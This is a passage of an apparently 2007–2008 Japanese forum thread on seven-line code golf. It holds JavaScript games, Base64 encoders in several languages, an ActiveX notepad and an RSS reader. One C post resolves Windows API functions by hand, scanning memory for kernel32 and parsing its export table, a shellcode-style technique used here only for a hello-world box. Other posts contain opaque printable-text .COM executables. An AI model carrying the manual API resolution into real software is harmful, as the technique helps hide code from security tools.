n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}"id=b>
1行79文字で。
>i%s%2==1&&F(i/s)%2==1
両方とも1なら掛けても1じゃないか?と思って
>i%s%2*F(i/s)%2==1
としてみたのだけどどうだろう?
0633デフォルトの名無しさん
2007/12/24(月) 00:52:230634デフォルトの名無しさん
2007/12/24(月) 01:48:56これ凄いな
0635デフォルトの名無しさん
2007/12/24(月) 18:58:34いくつかバージョンがありますが、最新版(2006/10/17)より。
http://www.geocities.jp/nanagyou/list.html#tetris
http://geocities.yahoo.co.jp/gl/nanagyou/
あの565バイトテトリスが、ついに500バイトを切った!
http://zapanet.info/blog/item/1130
Cozy Ozy 2007-11-04 482バイトテトリス
http://d.hatena.ne.jp/Ozy/20071104#p1
ついでに ぷよ も
http://pascal.wanderers.jp/puyo/JavaScript/
{};for(R=Math.random,F=Math.floor,Z=10,f=i=Q=100,H=16,n="\r\n",W="□",X=" ";i;
p[--i]=(i<Z?H:89<i?H:i%Z?i%Z-9?0:H:H));for(p[a=88]=8;f;)for(p[i=F(R()*Q)]&H|p[j
=i+((d=F(R()*2)+1)*9-8)]&H?0:7<(p[i]^p[j])?(p[i]|=d|8,p[j]|=8):0,f=k=0;k<Q;f|=(
p[k++]<8));function D(c){for(c&-4?0:a+=(c&1?(p[a+c*5-15]&2)*(c*5-Z):(p[a+c/2-1]
&1)*(c-1)),t=v=i=n;i<Q;t+=(i-11?q&H?W:i-a?X:"@":a-11?"$":"終")+(q&1?X:W),v+=(
q&2?X:W)+W,++i%Z?0:(t+=v+n,v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script>
正解の道が一通りになるように改造してみたらぴったり7×79になった
FirefoxとIE両方で確認
=[q=c=i=4];f=i--*K;c-=!Z[h+(K+6?p+K:C[i]=p*A-(p/9|0)*145)])p=B[i];for(c?0:K+6?h
+=K:t?B=C:0;i=K=q--;f+=Z[A+p])k=X[p=h+B[q]]=1;h+=A;if(f|B)for(Z=X,X=[l=228],B=[
[-7,-20,6,h=17,-9,3,3][t=++t%7]-4,0,1,t-6?-A:2];l--;)for(l%A?l-=l%A*!Z[l]:(P+=
k++,c=l+=A);--c>A;)Z[c]=Z[c-A];for(S="";i<240;S+=X[i]|(X[i]=Z[i]|=++i%A<2|i>228
)?i%A?"■":"■<br>":"_");D.innerHTML=S+P;Z[5]||setTimeout(Y,i-P)};Y(h=K=t=P=0)'
>>635
6行になりますた
0638デフォルトの名無しさん
2007/12/24(月) 21:46:180639デフォルトの名無しさん
2007/12/24(月) 22:02:360640デフォルトの名無しさん
2007/12/27(木) 01:59:43[n="\r\n",W="□",X=" "];for(R=Math.random,F=Math.floor,U=Y=Z=(V=8)*2,f=k=Q=U++
*Y--;k;p[--k]=(k<Z|Q-Z<k?8:k%Z&&k%Z-Y?0:8));for(p[a=Q-Z-2]=4;f;)for(p[i=F(R()*Q
)]&8|p[d=F(R()*2),j=i+d*Y+1]&8?0:3<(p[i]^p[j])?(p[i]|=1+d|4,p[j]|=4):0,f=k=0;k<
Q;f|=p[k++]<4);function D(c){for(c&-4?0:a+=(c&1?(p[a+c*V-Z-V]&2)*(c*V-Z):(p[a+c
/2-1]&1)*--c),t=v=i=n;i<Q;t+=(i-U?q&8?W:i-a?X:"@":a-U?"$":"終")+(q&1?X:W),v+=
(q&2?X:W)+W,++i%Z?0:t+=v+(v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script>
>>636だけどなぜか p[k] の 4 のビットが使ってなかったりとか
無駄な括弧とかいろいろ削る余地があったので修正
迷路のサイズが可変になった(2行目の V=8 の 8 を変更すると変わる)
0641デフォルトの名無しさん
2008/01/04(金) 20:49:260642デフォルトの名無しさん
2008/01/04(金) 21:05:42>>1
0643デフォルトの名無しさん
2008/01/04(金) 22:23:36著作権はもう切れてるし
0644デフォルトの名無しさん
2008/01/04(金) 22:54:04いいよ。
0645デフォルトの名無しさん
2008/01/05(土) 03:51:44wktk
0646デフォルトの名無しさん
2008/01/05(土) 14:29:20wkwktktk
0647デフォルトの名無しさん
2008/01/05(土) 19:40:09<title></title><body onload="location.href='http://www.aozora.gr.jp/cards/0001'+
'48/files/752_14964.html'">
0648デフォルトの名無しさん
2008/01/05(土) 23:08:38〜〜〜〜〜〜〜
0649デフォルトの名無しさん
2008/01/09(水) 18:30:12#include <windows.h>
main(){int x,y,z;
for(z=0;z<32;z++){for(y=0;y<32;y++){
for(x=0;x<32;x++)printf(x&y&z?"..":"■");
printf("\n");}Sleep(200);system("cls");}}
0650デフォルトの名無しさん
2008/01/10(木) 03:44:28#include <stdio.h>
#include <windows.h>
main(x){
for(x=0;x<32768;
printf((x>>10)&(x>>5)&x&31?"..":"■"),
++x&31||printf("\n"),
x&1023||(Sleep(200),system("cls")));
}
0651デフォルトの名無しさん
2008/01/13(日) 17:15:41<script>a="abcdefghijklmnopqrstuvwxyz";c=a.toUpperCase()+a+"0123456789+/";
onload=function(){document.write(e(prompt("","")));}
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++) & 0xff;if(i==l){r+=f(x>>2);r+=f((x&0x3)<<4);r += "==";
break;}y=k.charCodeAt(i++);if(i==l){r+=f(x>>2);r+=f(((x&0x3)<<4) | ((y&0xF0)>>4));
r+=f((y&0xF)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x>>2);
r+=f(((x&0x3)<<4 | (y&0xF0)>>4) >> 4);r+=f(((y&0xF)<<2) | ((z&0xC0)>>6));
r+=f(z&0x3F);}return r;}</script>
1行減らせる?
0652デフォルトの名無しさん
2008/01/13(日) 17:48:370653デフォルトの名無しさん
2008/01/13(日) 17:58:490654デフォルトの名無しさん
2008/01/13(日) 18:07:590655デフォルトの名無しさん
2008/01/13(日) 18:08:300656デフォルトの名無しさん
2008/01/13(日) 18:08:44演算子の優先順位を吟味して括弧を減らせばいいと思うよ。
0657デフォルトの名無しさん
2008/01/13(日) 18:28:46意味を変えずに整形だけしてみた。
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";onload
=function(){document.write(e(prompt("","")))};function f(b){return c.charAt(b)}
function e(k){r="";l=k.length;for(i=0;i<l;){x=k.charCodeAt(i++)&255;if(i==l){r
+=f(x/4)+f((x&3)<<4)+"==";break}y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f((x&3)
<<4|(y&120)>>4)+f((y&15)*2)+"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4
|(y&120)>>4)>>4)+f((y&15)*2|(z&192)>>6)+f(z&63)}return r}</script>
0658デフォルトの名無しさん
2008/01/13(日) 18:35:18function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++)&0xff;if(i==l){r+=f(x>>2);r+=f((x&3)<<4);r+="==";
break;}y=k.charCodeAt(i++);if(i==l){r+=f(x>>2);r+=f(((x&3)<<4)|((y&240)>>4));
r+=f((y&15)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x>>2);
r+=f(((x&3)<<4|(y&240)>>4)>>4);r+=f(((y&15)<<2)|((z&192)>>6));
r+=f(z&63);}return r;}document.write(e(prompt("","")));</script>
単純なことだった。
0659デフォルトの名無しさん
2008/01/13(日) 18:35:57>>657ですね。すいません
0660デフォルトの名無しさん
2008/01/13(日) 18:47:062回あるif(i==l){ }も ?: をつかったり式をまとめたりすれば
だいぶ短くなるよ
cを生成するところもなにか工夫できそう
0661デフォルトの名無しさん
2008/01/13(日) 18:54:34k.charCodeAtを文字で置くのはやってみましたが
ギリギリで(4文字くらい)余計に長くなるのでしませんでした。
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=k.charCodeAt(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)>>4))+f((y&15)*4)+
"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)>>4)>>4)+f(((y&15)*4)
|((z&192)>>6))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
0662デフォルトの名無しさん
2008/01/13(日) 18:58:46(y&15)*4 → y%16*4
みたいにできる?
0663デフォルトの名無しさん
2008/01/13(日) 19:02:09まじで?
テストしてないけどこれだめなん?
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=(u=k.charCodeAt)(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=u(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)>>4))+f((y&15)*4)+
"=";break}z=u(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)>>4)>>4)+f(((y&15)*4)
|((z&192)>>6))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
0664デフォルトの名無しさん
2008/01/13(日) 19:08:59こういう、宣言の仕方があったか・・・
忘れてました。orz
0665デフォルトの名無しさん
2008/01/13(日) 19:11:41あ、なんか、結果が変わりました。
どっかがおかしいみたいです
0666デフォルトの名無しさん
2008/01/13(日) 19:12:50IEでしか試してないが、f=c.charAt; とすると、fの結果が"[object]".charAtになってしまった。
0667デフォルトの名無しさん
2008/01/13(日) 19:25:43適当なこと言ってすます
0668デフォルトの名無しさん
2008/01/13(日) 19:29:41できるね
0669デフォルトの名無しさん
2008/01/13(日) 21:24:57<body onKeydown="a+=(event.keyCode-38)?1:-1;if(a<1)a=0;if(a>2)a=3;"><script>
x=g=h=1;y=a=0;b=2;e=-1;p=300;function d(){s="";x+=g;y+=h;b=y;if(p<50)p=50;
if(y<1){y=0;h*=e}if(y>3){y=4;h*=e}if(x>7){x=8;g*=e}if(x<2){if(y==a||y==a+1){
x=1;g*=e;p-=20;}}if(x==0)alert("GAME OVER");if(b<1)b=0;if(b>2)b=3;
for(i=0;i<50;i++){X=i%10;Y=(i-X)/10;s+=(X==x&&Y==y)?"●":(X==0&&(Y==a||
Y==a+1)||(X==9&&(Y==b||Y==b+1)))?"■":"□";if(X==9)s+="<br>";}
document.body.innerHTML=s;setTimeout("d()",p);}d();</script>
0670デフォルトの名無しさん
2008/01/13(日) 22:11:080671デフォルトの名無しさん
2008/01/19(土) 11:30:21<input size=8 onkeypress="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=this.value)+'='+eval(n)}">
0672デフォルトの名無しさん
2008/01/19(土) 21:03:53<input size=8 onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
0673デフォルトの名無しさん
2008/01/19(土) 22:05:21<input onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
0674デフォルトの名無しさん
2008/01/19(土) 22:31:20何をしたいのか良く分からん。
0675デフォルトの名無しさん
2008/01/19(土) 22:34:430676デフォルトの名無しさん
2008/01/19(土) 22:36:12with はメソッドにも対応するためだと思うよ
やっぱりつまらんかったけどw
0677デフォルトの名無しさん
2008/01/20(日) 01:44:11_,v>0
o:"
>0"!hs"v
!" 2
^< ^g2<
0678デフォルトの名無しさん
2008/01/20(日) 09:23:01簡単だよ、フォームから sin(60*PI/180) とかいう計算式を受け付けるためじゃない?
俺は実行すらしてないから予想だけど
0679デフォルトの名無しさん
2008/01/20(日) 09:45:30コマンドライン引数に -e とつければエンコード。そうでなければデコード。
DOS上の Jperl4 でも動いた。chr() -> pack(C, としたぐらいだけど。
#!/usr/bin/perl
$B=join('','A'..'Z','a'..'z','0'..'9')."+/";$e=shift if$ARGV[0]eq'-e';$i=0;$_=
<>;$l=length($_);sub G{substr($_,$i++,1)}if($e){sub O{ord(&G)}sub P{print
substr($B,$_[0],1),$_[1]}while($i<$l){$x=&O;&P($x>>2);$x=($x&3)<<4;if($i==$l){
&P($x,'==');last}$y=&O;&P($x|($y&240)>>4);$y=($y&15)<<2;if($i==$l){&P($y,'=');
last}$x=&O;&P($y|$x>>6);&P($x&63)}}else{sub D{index($B,&G)}sub C{print pack(C,
$_[0])}while($i<$l){$x=&D;$y=&D;&C($x<<2|$y>>4&3);last if($x=&D)<0;&C(($y&63)
<<4|$x>>2);last if($y=&D)<0;&C(($x&3)<<6|$y)}}print"\n"
0680674
2008/01/20(日) 10:01:11JavaScriptのevalが呼んだ側のwithとかに影響されるなんて知らなかったんだよorz
見ただけでそれが簡単に予想できるお前がうらやましい。
0681デフォルトの名無しさん
2008/01/20(日) 12:24:300682デフォルトの名無しさん
2008/01/20(日) 13:45:20>>675を書いた俺が>>676で既に言ったじゃないか
0683674
2008/01/20(日) 18:36:31>>680は>>676を分かった上での>>678へのレス。言葉足らずですまんかった。
スレ汚したお詫びに超ありふれてるBase64エンコーダでもどうぞ。
local f,s,d,z=math.floor,string.byte,{},"ABCDEFGHIJKLMNOPQRSTUVWXYZ"for i=1,65
do d[i-1]=(z..z:lower().."0123456789+/"):sub(i,i)end function encode(t)local l,
i,r,a,b,c=#t,1,''while l>2 do a,b,c=s(t,i,i+2)r=r..d[f(a/4)]..d[(16*a+f(b/16))%
64]..d[(b*4+f(c/64))%64]..d[c%64]i,l=i+3,l-3 end if l>0 then a,b=s(t,i,i+1)if l
>1 then r=r..d[f(a/4)]..d[(a*16+f(b/16))%64]..d[b*4%64]..'='else r=r..d[f(a/4)]
..d[a*16%64]..'=='end end return r end io.write(encode(io.read"*a"))
今までBase64エンコーダまたはデコーダ作った人:
初代スレ: 488(C),491-(C)
part4: 937(JavaScript)
このスレ: 651 -(JavaScript),679(Perl),俺(Lua)
0684デフォルトの名無しさん
2008/01/21(月) 01:20:10http://mori.eco.to/
0685デフォルトの名無しさん
2008/01/25(金) 01:04:16require 'base64';$><<Base64.encode64(gets)
0686デフォルトの名無しさん
2008/01/25(金) 16:50:080687デフォルトの名無しさん
2008/01/26(土) 00:18:35Z74sPS4PPKC74q4LPSaH5az1FCaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAAAAAA
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
LLLLCLAFHEABML0DDKA0CKA0AKDMKH0EHNCM0FKLDGMCKO0HADADADADCLILCCALK0F00NALJE00
HFHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDILCC0EABMLLD00HKCNEGMNEHJE
00HF00HCHN000AHN00LCHN00FAHN000DHN00LAHN00OAHNHOEGKBOB00NGAHMDNNKHMCG0FLKMCC
QmFzZTY0IERlY29kZXI=
====
Base64で自己展開Base64
後ろにデータくっつけて.comで実行でstdoutに出力します。
0688デフォルトの名無しさん
2008/01/26(土) 09:51:320689デフォルトの名無しさん
2008/01/26(土) 14:08:440690デフォルトの名無しさん
2008/01/26(土) 15:26:04>>689
まずはCOM2TXTをググれ
0691デフォルトの名無しさん
2008/01/26(土) 17:10:40ttp://www.vector.co.jp/soft/dos/util/se004841.htmlから
からダウソしたんだが
なんか違う・・・?
0692デフォルトの名無しさん
2008/01/26(土) 18:04:57>>691
もし解凍してもappealしか出てこないのなら解凍ソフト変えてみれば?
トンチンカンな事言ってたらスマンが。
0693デフォルトの名無しさん
2008/01/26(土) 19:56:46appealしかでなかった。
解凍ソフト変えるわ。サンクス
0694デフォルトの名無しさん
2008/01/26(土) 21:48:38もうやめた、やーめた
0695デフォルトの名無しさん
2008/01/27(日) 04:50:130696デフォルトの名無しさん
2008/01/27(日) 12:53:09Lhaplus 1.53で出来なくて、1.56にアップデートしても無理だった。
仕方ないんでLinuxに持ってってtar xzしたら出来た。
・・・Win用の解凍アプリは何が悪いんだ?まあいいや。
0697デフォルトの名無しさん
2008/01/27(日) 20:25:020698デフォルトの名無しさん
2008/01/30(水) 21:16:08PHPSDYZD50L50PP50A5DLPQX5AA54LPRX5Gf50APSXH51u50APRX5A05v4PSXH50p5cNPYZRQRQh
ZSSSSXKC74nPS4MP4IPSaH5az1FEaaCLAFHEABML0DDKKLIHA0AKDMKH0EHNCM0FLLDGMCKO0HJE
JFADADADADCLILCCALK0F00NALHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDJE
JF0EABMLLDDKGNEGMNEH00CCHN00K0HN00DCHN00AAHN00HCHN00GAHN00JAHNHDFLCHMCE0FLJE
00HF/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAA
QmFzZTY0IERlY29kZXINCg==
====
0699デフォルトの名無しさん
2008/02/04(月) 14:29:21ずれてるよね?何したいのかいまいち分からん
0700デフォルトの名無しさん
2008/02/09(土) 18:41:49VC++2008で動いたけど他は知らん
long long a=0xc3c033660424448b;char *cp;short *sp;typedef int*(_stdcall*F)();
int s[8],*b,*c,*d,i,j;F A,B,C;void m(){for(;(short)*b-'ZM';b-=16384);c=&b[b[b[
15]/4+30]/4+6];for(cp=(char*)b;i<4;i++){s[i]=c[i];}for(;j<c[0];j++){for(i=0;
"GetProcAddress"[i]==cp[b[s[2]/4+j]+i];i++);if(i==15)break;}sp=(short*)&b[s[3]
/4];A=(F)&b[b[sp[j]+(s[1]/4)]/4];B=(F)A(b,"LoadLibraryA");d=B("user32.dll");C=
(F)A(d,"MessageBoxA");C(0,"Hello world!","7line",0);C=(F)A(b,"ExitProcess");C(
0);}_declspec(naked)WinMainCRTStartup(){b=((int*(*)())&a)();m();}
0701sage
2008/02/09(土) 21:18:24http://www.geocities.co.jp/SiliconValley-Oakland/9951/
テキストに保存して弾幕風のscriptフォルダに入れれば動くはずです。
#東方弾幕風#Title[テトリス]#Text[]#ScriptVersion[2]script_enemy_main{function B
(let p,let q){return (trunc(p/16^q)%16);}let a=[17767,5533,17767,5533,9302,5530
,17768,345,22170,22170,22170,22170,9577,17818,9577,17818,5206,5481,17769,5209,
1110,4697,17770,5513,5482,26522,5482,26522];let n=rand_int(0,27);let q=0;let f=
[];let p=240;while(p){p--;f=[[1,0][p%12&&p%12!=11&&p<228]]~f;}@Initialize{
SetLife(1);ForbidShot(true);LastSpell;M;}@MainLoop{SetPlayerX(999);SetPlayerY(
999);yield;}task M{function K(let p){return GetKeyState(p) == KEY_PUSH;}
function J(let p,let q,let r,let s){let u=4;while(u){u--;r=B(a[n+s],u);q=[q,0]
[f[x+r%4+(y+trunc(r/4))*12+p]];}return q;}let t=0;let x=4;let y=0;loop{p=228;
while(p){p--;f[p]=[0,1][f[p]==1];}if(K(VK_LEFT)&&J(-1,1,1,0)){x--;}if(K(
VK_RIGHT)&&J(1,1,1,0)){x++;}if(K(VK_UP)&&J(0,1,1,[1,-3][n%4==3])){n+=[1,-3][n%4
==3]}if(K(VK_DOWN)||t==20){t=0;if(J(12,1,1,0)){y++;}else{p=4;while(p){p--;q=B(
a[n],p);f[x+q%4+(y+trunc(q/4))*12]=1;}p=19;while(p){p--;q=1;let r=1;while(r<11)
{q=[0,q][f[p*12+r]];r++;}if(q){AddScore(1);f=[1,0,0,0,0,0,0,0,0,0,0,1]~f[0..p*
12]~f[p*12+12..240];}}x=4;y=0;n=rand_int(0,27);if(!J(0,1,1,0)){ShootDownPlayer;
}}}p=0;while(p<4){q=B(a[n],p);f[x+q%4+(y+trunc(q/4))*12]=2;p++;}t++;yield;}}
@DrawLoop{p=240;while(p){p--;if(f[p]){DrawText("■",48+p%12*16,48+trunc(p/12)*
16,16,255);}}}}
0702デフォルトの名無しさん
2008/02/14(木) 17:56:540703デフォルトの名無しさん
2008/02/29(金) 22:02:230704デフォルトの名無しさん
2008/02/29(金) 22:28:540705デフォルトの名無しさん
2008/02/29(金) 23:16:23もしかしたら古い(弱い)バージョンを昔このスレに上げたような気も
いかさまはしないけど、人の出した手のパターンを憶えてくるので
30点先取とかで連戦すると人はまず勝てないと思う
<title>Janken Stadium</title><body onload="A.innerHTML=k"><p id=A align=center>
</p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0
)f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f-
h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+
++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27,
setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T=
' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
0706デフォルトの名無しさん
2008/03/02(日) 00:12:47</p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0
)f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f-
h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+
++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27,
setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T=
' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
0707デフォルトの名無しさん
2008/03/02(日) 00:57:200708デフォルトの名無しさん
2008/03/02(日) 00:58:320709デフォルトの名無しさん
2008/03/02(日) 01:09:280710デフォルトの名無しさん
2008/03/11(火) 17:32:230711デフォルトの名無しさん
2008/03/12(水) 11:34:290712デフォルトの名無しさん
2008/03/13(木) 08:01:28・RSSリーダ
・対応しているRSSバージョンや言語は問わず
・できるだけ環境依存を避ける
0713デフォルトの名無しさん
2008/03/15(土) 21:24:40711じゃないが面白そうなので作ってみた。
IEでのローカル動作のみなんで環境依存すぎるけど。
FireFox対応させるつもりだったが、ローカル動作では別サイト読みに行けないようなので断念。
<html><body><input id=A value=http://netafull.net/index.rdf><input type=button
value=ok onclick='(D=new ActiveXObject("MSXML2.DOMDocument")).async=0;D.load(A.
value);G=function(n,p){Q=n.selectSingleNode(p);return Q?Q.text:""};r="<h1>"+G(D
,"//title")+"</h1>"+G(D,"//dc:date");for(L=D.selectNodes("//item"),i=0;L.length
>i;N=L.item(i++),r+="<div style=\"border:1 solid\">"+G(N,"title").big().link(G(
N,"link"))+"<br>"+G(N,"dc:date").small()+"<br><hr>"+G(N,"description").replace(
/\n/g,"<br>")+"</div><br>");W.innerHTML=r;'><div id=W>
見た目次第で縮まるゆえに縮小化はキリがなさそうなので、7行に収まったところで止めました。
0714デフォルトの名無しさん
2008/03/17(月) 20:46:21もうちょっと俺にやる気があれば9行くらいにはなったかもしれん
document.write("<form name='F''>ファイル名: <input type=text value='index' "
+"name='n'> <input type=button value='保存' onClick='S()'> <input type="
+"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt"
+"h:450px;height:200px;'></textarea></form>");function W(l, y){
p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile(
"files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;}
function E(n){p=new ActiveXObject("Scripting.FileSystemObject");
sp.OpenTextFile("files/"+n);Bs.ReadAll();s.Close();return B;}
function S(){q=document.F.n.value;t=document.F.t.value;W(q,t);
}function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
0715デフォルトの名無しさん
2008/03/17(月) 21:45:390716デフォルトの名無しさん
2008/03/17(月) 22:36:32一応動作確認してるし
0717デフォルトの名無しさん
2008/03/17(月) 22:37:27document.write("<form name='F''>ファイル名: <input type=text value='index' "
+"name='n'> <input type=button value='保存' onClick='S()'> <input type="
+"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt"
+"h:450px;height:200px;'></textarea></form>");function W(l,y){
p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile(
"files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;}
function E(n){p=new ActiveXObject("Scripting.FileSystemObject");
sp.OpenTextFile("files/"+n);B=s.ReadAll();s.Close();return B;}
function S(){q=document.F.n.value;t=document.F.t.value;W(q,t);
}function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
0718デフォルトの名無しさん
2008/03/17(月) 23:32:52<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject')
document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\
ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=o=A.O\
penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\
保存</button><br><textarea id=T cols=99 rows=50>')</script>
0719デフォルトの名無しさん
2008/03/17(月) 23:36:48echo "note" >> file
なんだろうね.メモ帳程度で糞重いGeckoやTridentを起動する気にはならない
0720デフォルトの名無しさん
2008/03/17(月) 23:37:081行 78文字にしてしまったww
0721デフォルトの名無しさん
2008/03/18(火) 01:59:32右から来る数字に足して10になるキーを押していく
<body onkeydown=r(f|=event.keyCode+a.shift(p++)-106) onload=(c=function(){r(a.push(Math.random(setTimeout(c,(200-p)*5))*9+1|0))})(r=function(){for(s=p,f|=9<(i=a.length);i++<9;)s+='_';f||(B.innerHTML=s+a.join(''))},a=[],f=p=0)><tt id=B>
昔のインベーダゲームってこんなだったらしいね
0722デフォルトの名無しさん
2008/03/18(火) 02:02:34(200-p)*5 → 999-5*p
0723デフォルトの名無しさん
2008/03/18(火) 07:49:47「電卓で遊べる」インベーダーゲームね
0724デフォルトの名無しさん
2008/03/18(火) 15:18:22どっかにあるかもしれんw探してみよう
0725デフォルトの名無しさん
2008/03/18(火) 17:16:50ついムキになってやってしまったw
0726デフォルトの名無しさん
2008/03/18(火) 18:15:460727デフォルトの名無しさん
2008/03/18(火) 20:37:43これはいい脳トレwwwww
足して10になる数字ってのがミソだなww
0728デフォルトの名無しさん
2008/03/20(木) 08:23:180729デフォルトの名無しさん
2008/03/20(木) 15:23:50楽しかった。やっぱりアイデア次第だよな〜
あとこのスレの題目に反してるけど、1レス分32行2048byteまでとかでもいいの?
それとこのスレ読み辛いんだけど、何か読むのに良い方法があるの?
7行でスクリプト書いてるのかなw
0730デフォルトの名無しさん
2008/03/20(木) 15:48:35過去何回も出され、その度に論議を呼んだ質問だよ
初代スレを貼っておこう
http://piza2.2ch.net/tech/kako/984/984182993.html
流れを読みつつ、新しい発見もあるはず
面白いよ
0731デフォルトの名無しさん
2008/03/21(金) 09:48:44とりあえず貼ってみたら
いつのまにか誰かが7行にしてた、とかよくある。
0732デフォルトの名無しさん
2008/03/21(金) 16:39:390733デフォルトの名無しさん
2008/03/21(金) 17:32:560734デフォルトの名無しさん
2008/03/21(金) 19:42:500735デフォルトの名無しさん
2008/03/21(金) 20:09:260736デフォルトの名無しさん
2008/03/21(金) 20:32:250737デフォルトの名無しさん
2008/03/21(金) 21:18:150738デフォルトの名無しさん
2008/03/21(金) 21:31:040739デフォルトの名無しさん
2008/03/22(土) 11:25:130740デフォルトの名無しさん
2008/03/22(土) 14:38:040741デフォルトの名無しさん
2008/03/22(土) 17:37:06<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject')
document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\
ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=(w=open(\
"memo.htm","a")).document.write(T.value);w.print()>印刷</button><button onclick=o=A.O\
penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\
保存</button><br><textarea id=T cols=99 rows=50>')</script>
0742デフォルトの名無しさん
2008/03/22(土) 20:02:50期待通りの動作はしないと思うぞ
open は document にもあるし、close し忘れてる
改行はスペースになる
0743デフォルトの名無しさん
2008/03/23(日) 02:37:35</TEXTAREA><HR>
<DIV ID=D></DIV>
WYSIWYGなHTML作成支援エディタモドキできたよー
0744デフォルトの名無しさん
2008/03/23(日) 03:15:580745デフォルトの名無しさん
2008/03/23(日) 17:32:18document.write('ファイル名: <input id=N size=99><b onclick=o=A.OpenTextFile(N.\
value);T.value=o.ReadAll();o.Close()>開く</b> <b onclick=o=A.OpenTextFile(N.va\
lue,2,true);o.Write(T.value);o.Close();alert("保存しました")>保存</b> <b oncli\
ck=(w=top.open(URL)).document.body.innerText=T.value;w.print()>印刷</b><br><te\
xtarea id=T cols=99 rows=40>')</script>
0746デフォルトの名無しさん
2008/03/24(月) 00:07:11「適用(A)」ボタンを付けた方がいいと思う
0747デフォルトの名無しさん
2008/03/24(月) 03:37:16ONCHANGEはフォーカス外れた時点で機能するので
<INPUT TYPE=BUTTON VALUE='適用'>
を<HR>の前にでも追加しよう
0748デフォルトの名無しさん
2008/03/28(金) 11:43:51・IRCクライアント
・JavaScript+HTML
・最低限の動作
・サーバにログインする
・チャンネルへのログイン、任意の発言文字列(とコマンド)の送受信
0749デフォルトの名無しさん
2008/03/28(金) 11:59:01参考:JISIRC JavaScript IRC Client http://www.levelthreesolutions.com/jisirc/
(これはActiveXなどを使ってるんでNG)
・RFCに文字コードの規定はないが、日本語サーバではISO-2022-JP(いわゆるJISコード)を利用しているのがほとんど。
・IRCプロトコル自体は簡単で、telnetでも接続できる。
・代表的なサーバはirc.tokyo.wide.ad.jp:6664。
